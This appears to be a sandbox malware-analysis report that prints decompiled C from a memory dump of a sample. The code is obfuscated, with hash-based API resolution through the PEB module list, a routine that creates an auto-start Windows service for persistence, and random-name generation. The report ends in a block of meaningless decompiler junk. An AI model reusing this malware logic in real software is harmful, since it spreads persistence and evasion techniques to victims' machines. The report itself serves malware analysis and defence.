IK, xrefs: 003F6675
9G, xrefs: 003F6E6E

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: 9G$9G$Cr7$Cr7$IK
API String ID: 536389180-1575203827
Opcode ID: 607e78f303cf13481d07b84c29c304bc9b21563ec32509d0b5ea9d8acb6c226b
Instruction ID: b58126c42c69f5085d8afc8ee994e64e562a6eac2c2ee168a25f694b8cb945ff
Opcode Fuzzy Hash: 607e78f303cf13481d07b84c29c304bc9b21563ec32509d0b5ea9d8acb6c226b
Instruction Fuzzy Hash: 4232C67160830D8BCB16EF79948613F76E5ABA0794F24492EF685CB362DA34CD448BD3

Uniqueness

Uniqueness Score: -1.00%

Function 003F78B0, Relevance: 7.7, Strings: 6, Instructions: 237
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E003F78B0() {
				char _v520;
				char _v524;
				signed int _v528;
				intOrPtr _v532;
				signed int _v536;
				signed int _v540;
				unsigned int _v544;
				signed int _v548;
				signed int _v552;
				intOrPtr _v560;
				void* __ebx;
				void* __ebp;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr* _t84;
				signed int _t85;
				signed int _t89;
				void* _t91;
				intOrPtr* _t98;
				intOrPtr* _t100;
				intOrPtr _t145;
				intOrPtr* _t148;
				intOrPtr* _t150;
				char _t157;
				intOrPtr _t158;
				short* _t159;
				signed int _t160;
				void* _t162;
				void* _t163;
				signed int* _t164;
				void* _t166;

				_t164 =  &_v552;
				_v528 = 0x6831;
				_v528 = _v528 >> 0xf;
				_v528 = _v528 ^ 0x80000001;
				_v540 = 0x327e;
				_v540 = _v540 + 0xffffab47;
				_v540 = _v540 | 0x0907f9bb;
				_v540 = _v540 ^ 0xfffffdff;
				_v536 = 0xabbb;
				_v536 = _v536 + 0x21b1;
				_v536 = _v536 ^ 0x0000cd6c;
				_v552 = 0x2b65;
				_v552 = _v552 + 0xffff264b;
				_v552 = _v552 ^ 0xa26386a9;
				_v552 = _v552 >> 0xa;
				_v552 = _v552 | 0xc292eff0;
				_v552 = _v552 ^ 0xc297eff7;
				_v544 = 0x4147;
				_v544 = _v544 >> 4;
				_v544 = _v544 + 0x49ca;
				_v544 = _v544 ^ 0x00004dde;
				_v548 = 0x16b6;
				_v532 = 0;
				_v548 = 0x3e0f83e1 * _v548 >> 0x20 >> 3;
				_v548 = _v548 + 0xffff3e41;
				_v548 = _v548 ^ 0xffff3ef0;
				_t157 = _v524;
				_t160 = 0x251b1a18;
				goto L1;
				do {
					while(1) {
						L1:
						_t166 = _t160 - 0x22925463;
						if(_t166 > 0) {
							break;
						}
						if(_t166 == 0) {
							_t162 = E003F34C0(0x3fd940);
							_t74 =  *0x3fe158;
							if(_t74 == 0) {
								_t74 = E003F3E60(_t112, E003F3F00(0xc6fbcd74), 0xba71dd03, _t163);
								 *0x3fe158 = _t74;
							}
							_t145 =  *0x3fe54c; // 0x55f0b0
							_t59 = _t145 + 0x260; // 0x55f310
							_t60 = _t145 + 0x18; // 0x55f0c8
							 *_t74( &_v520, 0x104, _t162, _t60, _t59);
							_t76 =  *0x3fe494;
							_t164 =  &(_t164[5]);
							if(_t76 == 0) {
								_t76 = E003F3E60(_t112, E003F3F00(0x9bab0b12), 0x7facde30, _t163);
								 *0x3fe494 = _t76;
							}
							_t112 =  *_t76();
							_t78 =  *0x3fdf30;
							if(_t78 == 0) {
								_t78 = E003F3E60(_t112, E003F3F00(0x9bab0b12), 0x5010a54d, _t163);
								 *0x3fdf30 = _t78;
							}
							 *_t78(_t112, 0, _t162);
							_t160 = 0xcb26f9d;
							continue;
						} else {
							if(_t160 == 0x1dc498f) {
								_t80 =  *0x3fdcf4; // 0x0
								if(_t80 == 0) {
									_t80 = E003F3E60(_t112, E003F3F00(0x26f5757c), 0x57afd2ae, _t163);
									 *0x3fdcf4 = _t80;
								}
								 *_t80(_v524);
								return _v536;
							} else {
								if(_t160 == 0xcb26f9d) {
									_t158 =  *0x3fe54c; // 0x55f0b0
									_t159 = _t158 + 0x260;
									while( *_t159 != 0x5c) {
										_t159 = _t159 + 2;
									}
									_t157 = _t159 + 2;
									_t160 = 0x3b2cc327;
									continue;
								} else {
									if(_t160 != 0xe3d60ec) {
										goto L30;
									} else {
										_t84 =  *0x3fe35c;
										if(_t84 == 0) {
											_t84 = E003F3E60(_t112, E003F3F00(0x9bab0b12), 0x24b1f8f2, _t163);
											 *0x3fe35c = _t84;
										}
										_t85 =  *_t84( &_v520);
										_t148 =  *0x3fe264; // 0x0
										_v536 = 2 + _t85 * 2;
										if(_t148 == 0) {
											_t148 = E003F3E60(_t112, E003F3F00(0x26f5757c), 0x63466134, _t163);
											 *0x3fe264 = _t148;
										}
										_t89 =  *_t148(_v528, _t157, _v548, _v552,  &_v524, _v536);
										_t160 = 0x1dc498f;
										asm("sbb ebx, ebx");
										_t112 =  ~_t89 + 1;
										_v560 =  ~_t89 + 1;
										continue;
									}
								}
							}
						}
						L36:
					}
					if(_t160 == 0x251b1a18) {
						_t160 = 0x22925463;
						goto L1;
					} else {
						if(_t160 == 0x3b2cc327) {
							_t91 = E003F34C0(0x3fd9c0);
							_t150 =  *0x3fdbcc; // 0x0
							_t163 = _t91;
							if(_t150 == 0) {
								_t150 = E003F3E60(_t112, E003F3F00(0x26f5757c), 0xc7fc2e0, _t163);
								 *0x3fdbcc = _t150;
							}
							 *_t150(_v528, _t163, _v540, 0, _v536, _v552, 0,  &_v524, 0);
							asm("sbb esi, esi");
							_t98 =  *0x3fe494;
							_t160 = (_t160 & 0x1c0fc192) + 0xe3d60ec;
							if(_t98 == 0) {
								_t98 = E003F3E60(_t112, E003F3F00(0x9bab0b12), 0x7facde30, _t163);
								 *0x3fe494 = _t98;
							}
							_t112 =  *_t98();
							_t100 =  *0x3fdf30;
							if(_t100 == 0) {
								_t100 = E003F3E60(_t112, E003F3F00(0x9bab0b12), 0x5010a54d, _t163);
								 *0x3fdf30 = _t100;
							}
							 *_t100(_t112, 0, _t163);
						}
						goto L30;
					}
					goto L36;
					L30:
				} while (_t160 != 0x2a4d227e);
				return _v532;
				goto L36;
			}

0x003f78b0
0x003f78ba
0x003f78c4
0x003f78c9
0x003f78d1
0x003f78d9
0x003f78e1
0x003f78e9
0x003f78f1
0x003f78f9
0x003f7901
0x003f7909
0x003f7911
0x003f7919
0x003f7921
0x003f7926
0x003f792e
0x003f7936
0x003f793e
0x003f7943
0x003f794b
0x003f7953
0x003f795f
0x003f796d
0x003f7971
0x003f7979
0x003f7981
0x003f7985
0x003f7985
0x003f7990
0x003f7990
0x003f7990
0x003f7990
0x003f7996
0x00000000
0x00000000
0x003f799c
0x003f7a86
0x003f7a88
0x003f7a8f
0x003f7aa2
0x003f7aa7
0x003f7aa7
0x003f7aac
0x003f7ab2
0x003f7ab9
0x003f7ac8
0x003f7aca
0x003f7acf
0x003f7ad4
0x003f7ae7
0x003f7aec
0x003f7aec
0x003f7af3
0x003f7af5
0x003f7afc
0x003f7b0f
0x003f7b14
0x003f7b14
0x003f7b1d
0x003f7b1f
0x00000000
0x003f79a2
0x003f79a8
0x003f7c1e
0x003f7c25
0x003f7c38
0x003f7c3d
0x003f7c3d
0x003f7c46
0x003f7c56
0x003f79ae
0x003f79b4
0x003f7a54
0x003f7a5a
0x003f7a64
0x003f7a66
0x003f7a69
0x003f7a6f
0x003f7a72
0x00000000
0x003f79ba
0x003f79c0
0x00000000
0x003f79c6
0x003f79c6
0x003f79cd
0x003f79e0
0x003f79e5
0x003f79e5
0x003f79ef
0x003f79f1
0x003f79fe
0x003f7a04
0x003f7a1c
0x003f7a1e
0x003f7a1e
0x003f7a3d
0x003f7a41
0x003f7a48
0x003f7a4a
0x003f7a4b
0x00000000
0x003f7a4b
0x003f79c0
0x003f79b4
0x003f79a8
0x00000000
0x003f799c
0x003f7b2f
0x003f7c14
0x00000000
0x003f7b35
0x003f7b3b
0x003f7b46
0x003f7b4b
0x003f7b51
0x003f7b55
0x003f7b6d
0x003f7b6f
0x003f7b6f
0x003f7b95
0x003f7b99
0x003f7b9b
0x003f7ba6
0x003f7bae
0x003f7bc1
0x003f7bc6
0x003f7bc6
0x003f7bcd
0x003f7bcf
0x003f7bd6
0x003f7be9
0x003f7bee
0x003f7bee
0x003f7bf7
0x003f7bf7
0x00000000
0x003f7b3b
0x00000000
0x003f7bf9
0x003f7bf9
0x003f7c13
0x00000000

Strings

~"M*, xrefs: 003F7BF9
e+, xrefs: 003F7909
GA, xrefs: 003F7936
~2, xrefs: 003F78D1
1h, xrefs: 003F78BA
4aFc, xrefs: 003F7A10

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID:
String ID: 1h$4aFc$GA$e+$~"M*$~2
API String ID: 0-3245399214
Opcode ID: 4b81312304fb4ae1cd31bd82a6558fe568e1d6c599fccc7a8ea3cab0a15ff691
Instruction ID: fcd76d8c6ba9afd7803fd913276e5ad9ab05966737b5962d03396aac07a06e61
Opcode Fuzzy Hash: 4b81312304fb4ae1cd31bd82a6558fe568e1d6c599fccc7a8ea3cab0a15ff691
Instruction Fuzzy Hash: 52911771A0830A8BD716DF69C884A7F77EAABD4704F01092CF695DB265E770DE05CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003F8970, Relevance: 2.7, Strings: 2, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E003F8970() {
				char _v520;
				intOrPtr _v524;
				intOrPtr _v576;
				void* __ebx;
				void* __ebp;
				void* _t11;
				intOrPtr* _t12;
				intOrPtr* _t15;
				void* _t20;
				intOrPtr* _t28;
				intOrPtr* _t32;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr* _t53;
				intOrPtr _t58;
				void* _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				short* _t62;
				intOrPtr _t63;
				void* _t64;
				void* _t66;
				void* _t67;

				_t64 =  &_v524;
				_t58 = 0;
				_t11 = 0x7c4f4b3;
				_v524 = 0;
				_t35 = _v524;
				_t63 = _v524;
				_t60 = _v524;
				goto L1;
				do {
					while(1) {
						L1:
						_t66 = _t11 - 0x264c1972;
						if(_t66 > 0) {
							break;
						}
						if(_t66 == 0) {
							_t61 =  *0x3fe54c; // 0x55f0b0
							_t62 = _t61 + 0x260;
							while( *_t62 != 0x5c) {
								_t62 = _t62 + 2;
							}
							_t60 = _t62 + 2;
							_t11 = 0x1548988d;
							continue;
						} else {
							_t67 = _t11 - 0x1548988d;
							if(_t67 > 0) {
								if(_t11 != 0x1d74b649) {
									goto L24;
								} else {
									_t20 = E003F34C0(0x3fd940);
									_t53 =  *0x3fe158;
									_t59 = _t20;
									if(_t53 == 0) {
										_t53 = E003F3E60(_t35, E003F3F00(0xc6fbcd74), 0xba71dd03, _t63);
										 *0x3fe158 = _t53;
									}
									_t41 =  *0x3fe54c; // 0x55f0b0
									_t5 = _t41 + 0x260; // 0x55f310
									_t6 = _t41 + 0x18; // 0x55f0c8
									 *_t53( &_v520, 0x104, _t59, _t6, _t5);
									_t64 = _t64 + 0x14;
									E003F3460(_t59);
									_t58 = _v524;
									_t11 = 0x264c1972;
									continue;
								}
							} else {
								if(_t67 == 0) {
									_t28 =  *0x3fe310;
									if(_t28 == 0) {
										_t28 = E003F3E60(_t35, E003F3F00(0x26f5757c), 0x9ba7cd1, _t63);
										 *0x3fe310 = _t28;
									}
									_t35 =  *_t28(0, 0, 0xf003f);
									if(_t35 == 0) {
										goto L37;
									} else {
										_t11 = 0x308961ad;
										continue;
									}
								} else {
									if(_t11 == 0x45d0fe6) {
										_t32 =  *0x3fe18c;
										if(_t32 == 0) {
											_t32 = E003F3E60(_t35, E003F3F00(0x26f5757c), 0x268fe5f0, _t63);
											 *0x3fe18c = _t32;
										}
										 *_t32(_t35);
										L37:
										return _t58;
									} else {
										if(_t11 != 0x7c4f4b3) {
											goto L24;
										} else {
											_t11 = 0x1d74b649;
											continue;
										}
									}
								}
							}
						}
						L38:
					}
					if(_t11 == 0x2f0a6372) {
						_t12 =  *0x3fe18c;
						if(_t12 == 0) {
							_t12 = E003F3E60(_t35, E003F3F00(0x26f5757c), 0x268fe5f0, _t63);
							 *0x3fe18c = _t12;
						}
						 *_t12(_t63);
						goto L33;
					} else {
						if(_t11 == 0x308961ad) {
							_t15 =  *0x3fe404;
							if(_t15 == 0) {
								_t15 = E003F3E60(_t35, E003F3F00(0x26f5757c), 0xb4a05b4b, _t63);
								 *0x3fe404 = _t15;
							}
							_t63 =  *_t15(_t35, _t60, _t60, 2, 0x10, 2, 0,  &_v520, 0, 0, 0, 0, 0);
							if(_t63 == 0) {
								L33:
								_t11 = 0x45d0fe6;
							} else {
								_t58 = 1;
								_t11 = 0x3740ac4f;
								_v576 = 1;
							}
							goto L1;
						} else {
							if(_t11 != 0x3740ac4f) {
								goto L24;
							} else {
								E003F5040(_t35, _t63);
								_t11 = 0x2f0a6372;
								goto L1;
							}
						}
					}
					goto L38;
					L24:
				} while (_t11 != 0xb646886);
				return _t58;
				goto L38;
			}

0x003f8970
0x003f897a
0x003f897c
0x003f8981
0x003f8985
0x003f8989
0x003f898d
0x003f898d
0x003f8991
0x003f8991
0x003f8991
0x003f8991
0x003f8996
0x00000000
0x00000000
0x003f899c
0x003f8a7d
0x003f8a83
0x003f8a8d
0x003f8a90
0x003f8a93
0x003f8a99
0x003f8a9c
0x00000000
0x003f89a2
0x003f89a2
0x003f89a7
0x003f8a0d
0x00000000
0x003f8a13
0x003f8a18
0x003f8a1d
0x003f8a23
0x003f8a27
0x003f8a3f
0x003f8a41
0x003f8a41
0x003f8a47
0x003f8a4d
0x003f8a54
0x003f8a63
0x003f8a65
0x003f8a6a
0x003f8a6f
0x003f8a73
0x00000000
0x003f8a73
0x003f89a9
0x003f89a9
0x003f89c8
0x003f89cf
0x003f89e2
0x003f89e7
0x003f89e7
0x003f89f7
0x003f89fb
0x00000000
0x003f8a01
0x003f8a01
0x00000000
0x003f8a01
0x003f89ab
0x003f89b0
0x003f8b74
0x003f8b7b
0x003f8b8e
0x003f8b93
0x003f8b93
0x003f8b99
0x003f8b9b
0x003f8ba7
0x003f89b6
0x003f89bb
0x00000000
0x003f89c1
0x003f89c1
0x00000000
0x003f89c1
0x003f89bb
0x003f89b0
0x003f89a9
0x003f89a7
0x00000000
0x003f899c
0x003f8aab
0x003f8b43
0x003f8b4a
0x003f8b5d
0x003f8b62
0x003f8b62
0x003f8b68
0x00000000
0x003f8ab1
0x003f8ab6
0x003f8aea
0x003f8af1
0x003f8b04
0x003f8b09
0x003f8b09
0x003f8b2a
0x003f8b2e
0x003f8b6a
0x003f8b6a
0x003f8b30
0x003f8b30
0x003f8b35
0x003f8b3a
0x003f8b3a
0x00000000
0x003f8ab8
0x003f8abd
0x00000000
0x003f8abf
0x003f8ac3
0x003f8ac8
0x00000000
0x003f8ac8
0x003f8abd
0x003f8ab6
0x00000000
0x003f8ad2
0x003f8ad2
0x003f8ae9
0x00000000

Strings

rc/, xrefs: 003F8AC8
rc/, xrefs: 003F8AA6

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID:
String ID: rc/$rc/
API String ID: 0-3664441713
Opcode ID: 7b42b458cfc3df186973c533f6f3595f40f93d9351d57f3dc90d883c11b90b33
Instruction ID: 5d550a95a43df7851e3ed2c6eda5cdcd00517e95392a9459339d92089da7bd93
Opcode Fuzzy Hash: 7b42b458cfc3df186973c533f6f3595f40f93d9351d57f3dc90d883c11b90b33
Instruction Fuzzy Hash: E45116B1B0830D47DB2A9B699885B7B339AEB90314F15482AF741CB352EF74DC018792

Uniqueness

Uniqueness Score: -1.00%

Function 003F1C70, Relevance: 1.4, Strings: 1, Instructions: 109
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E003F1C70(void* __ecx) {
				char _v4;
				signed int _v8;
				signed int _v12;
				void* __ebx;
				void* __ebp;
				intOrPtr* _t67;
				signed int _t68;
				intOrPtr* _t74;
				signed int _t75;
				intOrPtr* _t77;
				int _t83;
				void* _t88;
				signed int _t90;
				signed int _t98;
				void* _t120;
				void* _t124;
				void* _t125;
				signed int _t127;
				signed int* _t128;

				_t128 =  &_v12;
				_v12 = 0x1438;
				_v12 = _v12 + 0x196e;
				_v12 = _v12 >> 2;
				_v12 = _v12 | 0x4103c642;
				_v12 = _v12 ^ 0xedf17400;
				_v12 = _v12 | 0xf7eeecf7;
				_v12 = _v12 >> 1;
				_v12 = _v12 ^ 0x7fff7ff7;
				_v8 = 0xf51;
				_t124 = __ecx;
				_v8 = _v8 * 0x15;
				_v8 = _v8 ^ 0x8db737d8;
				_v8 = _v8 ^ 0x4633f7b0;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 << 1;
				_v8 = _v8 + 0x7b9a;
				_v8 = _v8 ^ 0x576c4176;
				_t67 =  *0x3fde08;
				if(_t67 == 0) {
					_t67 = E003F3E60(_t88, E003F3F00(0x9bab0b12), 0xd8ef4c49, _t125);
					 *0x3fde08 = _t67;
				}
				_t68 =  *_t67();
				_v8 = 0x85c4;
				_t127 = _v12 + _t68 % _v8;
				_v8 = _v8 + 0xffffe6b2;
				_v8 = _v8 + 0xffff2952;
				_v8 = _v8 + 0xffffdb08;
				_v8 = 0x38e38e39 * _v8 >> 0x20 >> 1;
				_v8 = _v8 + 0xffffe3ba;
				_v8 = _v8 ^ 0x5caaf9ac;
				_v8 = _v8 ^ 0x40db6349;
				_v12 = 0xd311;
				_v12 = 0xaaaaaaab * _v12 >> 0x20 >> 4;
				_v12 = _v12 ^ 0x4a159b21;
				_v12 = _v12 ^ 0x4a1593fa;
				_t74 =  *0x3fde08;
				if(_t74 == 0) {
					_t74 = E003F3E60(_t88, E003F3F00(0x9bab0b12), 0xd8ef4c49, _t127);
					 *0x3fde08 = _t74;
				}
				_t75 =  *_t74();
				_t77 =  *0x3fde08;
				_t90 = _v8 + _t75 % _v12;
				if(_t77 == 0) {
					_t77 = E003F3E60(_t90, E003F3F00(0x9bab0b12), 0xd8ef4c49, _t127);
					 *0x3fde08 = _t77;
				}
				_v4 =  *_t77();
				if(_t127 != 0) {
					_t120 = _t124;
					_t98 = _t127 >> 1;
					_t124 = _t124 + _t127 * 2;
					_t83 = memset(_t120, 0x2d002d, _t98 << 2);
					asm("adc ecx, ecx");
					memset(_t120 + _t98, _t83, 0);
					_t128 =  &(_t128[6]);
				}
				E003F4EA0(_t124, _t90,  &_v4);
				 *((short*)(_t124 + _t90 * 2)) = 0;
				return 0;
			}

0x003f1c70
0x003f1c73
0x003f1c7a
0x003f1c81
0x003f1c85
0x003f1c8c
0x003f1c93
0x003f1c9a
0x003f1c9d
0x003f1ca4
0x003f1cb4
0x003f1cb6
0x003f1cba
0x003f1cc2
0x003f1ccf
0x003f1cd3
0x003f1cd7
0x003f1cdf
0x003f1ce7
0x003f1cee
0x003f1d01
0x003f1d06
0x003f1d06
0x003f1d0b
0x003f1d1e
0x003f1d26
0x003f1d28
0x003f1d30
0x003f1d38
0x003f1d4d
0x003f1d51
0x003f1d59
0x003f1d61
0x003f1d69
0x003f1d7a
0x003f1d7e
0x003f1d86
0x003f1d8e
0x003f1d95
0x003f1da8
0x003f1dad
0x003f1dad
0x003f1db2
0x003f1dc0
0x003f1dc5
0x003f1dc9
0x003f1ddc
0x003f1de1
0x003f1de1
0x003f1de8
0x003f1dee
0x003f1df3
0x003f1df5
0x003f1df7
0x003f1dff
0x003f1e01
0x003f1e03
0x003f1e03
0x003f1e06
0x003f1e10
0x003f1e1a
0x003f1e24

Strings

vAlW, xrefs: 003F1CDF

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID:
String ID: vAlW
API String ID: 0-571418455
Opcode ID: 98e59f527fe249370f676ea23506fff1dabe25699a3604292945a53b29e244b7
Instruction ID: 37849039de75fc98c7273d4d2cc539b841bf8217c918fae690d5a1f0c1b928db
Opcode Fuzzy Hash: 98e59f527fe249370f676ea23506fff1dabe25699a3604292945a53b29e244b7
Instruction Fuzzy Hash: 79415F716083469BC708EF79D84542FB7E6FBE0714F018D2DE5E18B264D7B49A05CB82

Uniqueness

Uniqueness Score: -1.00%

Function 003F3F00, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003F3F00(intOrPtr __ecx) {
				signed int _t92;
				intOrPtr* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t108;
				signed short* _t109;
				intOrPtr* _t110;
				void* _t111;

				_t94 =  *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc;
				 *((intOrPtr*)(_t111 + 0x18)) = __ecx;
				 *((intOrPtr*)(_t111 + 0x18)) = _t94;
				_t110 =  *_t94;
				if(_t110 == _t94) {
					L9:
					return 0;
				} else {
					do {
						_t109 =  *(_t110 + 0x30);
						 *(_t111 + 0x10) = 0x4090;
						 *(_t111 + 0x10) =  *(_t111 + 0x10) | 0x31656b5b;
						_t8 = _t111 + 0x10; // 0x31656b5b
						 *(_t111 + 0x10) =  *_t8 * 0x51;
						_t10 = _t111 + 0x10; // 0x31656b5b
						 *(_t111 + 0x10) = 0xb02c0b03 *  *_t10 >> 0x20 >> 6;
						 *(_t111 + 0x10) =  *(_t111 + 0x10) << 0x10;
						 *(_t111 + 0x10) =  *(_t111 + 0x10) | 0xecb0ddf8;
						 *(_t111 + 0x10) =  *(_t111 + 0x10) + 0x637e;
						 *(_t111 + 0x10) =  *(_t111 + 0x10) ^ 0xeef54176;
						 *(_t111 + 0x14) = 0x5ef;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) + 0x6fab;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) | 0x1ac9183b;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) << 8;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) >> 2;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) ^ 0x325f6ec6;
						 *(_t111 + 0x14) = 0xc1f4;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) + 0x1c7b;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) | 0x28c630b6;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) + 0xffff17a2;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) << 0xb;
						 *(_t111 + 0x14) =  *(_t111 + 0x14) ^ 0x30b50810;
						if( *_t109 != 0) {
							do {
								_t95 =  *(_t111 + 0x10);
								 *(_t111 + 0x14) = 0x5ef;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) + 0x6fab;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) | 0x1ac9183b;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) << 8;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) >> 2;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) ^ 0x325f6ec6;
								 *(_t111 + 0x14) = 0xc1f4;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) + 0x1c7b;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) | 0x28c630b6;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) + 0xffff17a2;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) << 0xb;
								 *(_t111 + 0x14) =  *(_t111 + 0x14) ^ 0x30b50810;
								_t103 =  *(_t111 + 0x10) << ( *(_t111 + 0x14) & 0x000000ff);
								_t92 =  *_t109 & 0x0000ffff;
								_t108 =  *(_t111 + 0x10) << ( *(_t111 + 0x14) & 0x000000ff);
								if(_t92 >= 0x41 && _t92 <= 0x5a) {
									_t92 = _t92 + 0x20;
								}
								 *(_t111 + 0x10) = _t92;
								_t109 =  &(_t109[1]);
								 *(_t111 + 0x10) =  *(_t111 + 0x10) + _t103;
								 *(_t111 + 0x10) =  *(_t111 + 0x10) + _t108;
								 *(_t111 + 0x10) =  *(_t111 + 0x10) - _t95;
							} while ( *_t109 != 0);
							_t94 =  *((intOrPtr*)(_t111 + 0x18));
						}
						if(( *(_t111 + 0x10) ^ 0x14d5ed60) ==  *((intOrPtr*)(_t111 + 0x1c))) {
							return  *((intOrPtr*)(_t110 + 0x18));
						} else {
							goto L8;
						}
						goto L11;
						L8:
						_t110 =  *_t110;
					} while (_t110 != _t94);
					goto L9;
				}
				L11:
			}

0x003f3f0f
0x003f3f12
0x003f3f17
0x003f3f1b
0x003f3f1f
0x003f408d
0x003f4096
0x003f3f25
0x003f3f25
0x003f3f25
0x003f3f28
0x003f3f30
0x003f3f38
0x003f3f3d
0x003f3f46
0x003f3f4f
0x003f3f53
0x003f3f58
0x003f3f60
0x003f3f68
0x003f3f70
0x003f3f78
0x003f3f80
0x003f3f88
0x003f3f8d
0x003f3f92
0x003f3f9a
0x003f3fa2
0x003f3faa
0x003f3fb2
0x003f3fba
0x003f3fbf
0x003f3fcb
0x003f3fd1
0x003f3fd1
0x003f3fd5
0x003f3fdd
0x003f3fe5
0x003f3fed
0x003f3ff2
0x003f3ff7
0x003f4008
0x003f4010
0x003f4018
0x003f4020
0x003f4028
0x003f402d
0x003f4035
0x003f4040
0x003f4043
0x003f4048
0x003f404f
0x003f404f
0x003f4052
0x003f4056
0x003f4059
0x003f405d
0x003f4061
0x003f4065
0x003f406f
0x003f406f
0x003f4080
0x003f40a1
0x00000000
0x00000000
0x00000000
0x00000000
0x003f4082
0x003f4082
0x003f4085
0x00000000
0x003f3f25
0x00000000

Strings

[ke1, xrefs: 003F3F38

Memory Dump Source

Source File: 00000007.00000002.2256698017.00000000003F1000.00000020.00000001.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000007.00000002.2256695140.00000000003F0000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256705457.00000000003FD000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.2256709121.00000000003FF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3f0000_tmp_e473b4.jbxd

Yara matches

Similarity

API ID:
String ID: [ke1
API String ID: 0-815721638
Opcode ID: 8272599f0f0b03f4253f631f8b357c0dbf329d74f1d4cc76f89a9bf9e32a1888
Instruction ID: 7f42a4849270acd91b1bfe5225b6eef5b678400400d7f4f28240bec4dd227004
Opcode Fuzzy Hash: 8272599f0f0b03f4253f631f8b357c0dbf329d74f1d4cc76f89a9bf9e32a1888
Instruction Fuzzy Hash: 5841F3B28093468BD754DF14E68946BFBF0FB90B54F000D5DE5A1A6251D3B5CA4CCBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00406DA8, Relevance: .2, Instructions: 240
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00406DA8(intOrPtr* __eax, signed int __ecx, signed int* __edi, void* __esi) {
				intOrPtr* _t67;
				intOrPtr* _t68;
				signed char _t70;
				void* _t85;
				void* _t92;
				signed int _t94;
				intOrPtr* _t96;

				_t92 = __esi;
				_t69 = __ecx;
				asm("pushad");
				 *__eax =  *__eax + __eax;
				 *__ecx =  *__ecx + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *((intOrPtr*)(__eax + 0x25)) =  *((intOrPtr*)(__eax + 0x25)) + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
